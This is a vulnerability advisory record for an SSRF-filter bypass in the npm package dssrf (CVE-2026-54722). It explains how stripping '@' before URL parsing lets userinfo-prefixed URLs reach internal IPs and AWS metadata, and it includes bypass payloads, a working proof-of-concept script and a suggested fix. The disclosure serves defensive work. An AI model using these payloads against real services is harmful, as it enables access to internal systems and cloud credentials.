{"id":"CVE-2026-54722","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-54722","summary":"dssrf has an SSRF bypass with remove_at_symbol_in_string","details":"## Summary\n\n`is_url_safe` in v1.0.3 contains an SSRF bypass. `remove_at_symbol_in_string` is applied to the raw URL string **before** `new URL()` parses it. This strips the `@` that separates userinfo from host, corrupting the hostname so internal IPs are never checked.\n\n## Vulnerability\n\nIn `helpers.ts`, `is_url_safe` does:\n\n```ts\nu = remove_at_symbol_in_string(u);   // strips ALL '@' from the raw string\n// ...\nconst parsed = new URL(u);\nconst hostname = parsed.hostname;    // resolved from the corrupted string\n```\n\n### What happens step by step\n\nInput: `http://evil.com@127.0.0.1/`\n\n1. `remove_at_symbol_in_string` → `http://evil.com127.0.0.1/`\n2. `new URL(...)` → `hostname = \"evil.com127.0.0.1\"`\n3. Not a bare IP, not IPv6 → passes all IP checks\n4. `is_hostname_resolve_to_internal_ip(\"evil.com127.0.0.1\")` → NXDOMAIN → returns false\n5. **Result: `true` (safe)** — but any HTTP client using the *original* URL connects to `127.0.0.1`\n\n### Proof of Concept\n\n```js\nimport nock from 'nock';\nimport { got } from 'got';\nimport { is_url_safe } from 'dssrf';\n\n// Simulate an internal server at 10.0.0.1 that returns secret data\nnock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');\n\nconst BYPASS_URL = 'http://2@10.0.0.1/';\nconst PLAIN_URL  = 'http://10.0.0.1/';\n\n// dssrf should block both — it only blocks the plain one\nconsole.log('--- dssrf validator ---');\nconsole.log(`is_url_safe('${PLAIN_URL}')   =`, await is_url_safe(PLAIN_URL),  '← correctly blocked');\nconsole.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️  BYPASSED (should be false)');\n\n// HTTP client with the bypass URL — gets SECRET_DATA back from 10.0.0.1\nconsole.log('\\n--- HTTP client ---');\ntry {\n  const res = await got(BYPASS_URL, { retry: { limit: 0 } });\n  console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️  VULNERABLE');\n} catch (e) {\n  console.log(`got('${BYPASS_URL}') blocked:`, e.message);\n}\n```\n\n## Root Cause\n\n`@` in a URL separates `userinfo` (credentials) from `host`. Stripping it from the raw string before parsing destroys that boundary. The fix is to **reject any URL that contains a userinfo component** after parsing.\n\n## Suggested Fix\n\nRemove the `remove_at_symbol_in_string` call from `is_url_safe` and add a userinfo check after `new URL()`:\n\n```ts\nconst parsed = new URL(u);\n\n// Reject userinfo — '@' in authority is a classic SSRF bypass vector\nif (parsed.username !== \"\" || parsed.password !== \"\") {\n  return false;\n}\n```\n\nA working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.\n\n## Impact\n\n- **Affected version**: 1.0.3 (latest)\n- **Bypasses**: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (`169.254.169.254`), any internal hostname via userinfo prefix\n- **Note**: The GHSA-8p33-q827-ghj5 advisory patched version (`1.0.3`) should be updated since this vector was not covered by that fix\n\n\nUsers are strongly advised to upgrade to dssrf 1.0.4","published":"2026-07-30T16:26:52Z","modified":"2026-07-30T21:30:38.761936138Z","cvss":null,"epss":{"score":0.00417,"percentile":0.35165,"asOf":"2026-09-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"dssrf","fixedVersion":"1.0.4"}],"fix":{"url":"https://github.com/HackingRepo/dssrf-js/pull/98","label":"HackingRepo/dssrf-js#98"},"references":[{"type":"WEB","url":"https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54722"},{"type":"WEB","url":"https://github.com/HackingRepo/dssrf-js/issues/97"},{"type":"WEB","url":"https://github.com/HackingRepo/dssrf-js/pull/98"},{"type":"WEB","url":"https://github.com/HackingRepo/dssrf-js/commit/9211f91bf532433a1a1b27d946571546a63664b3"},{"type":"PACKAGE","url":"https://github.com/HackingRepo/dssrf-js"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-30T21:30:38.761936138Z"}}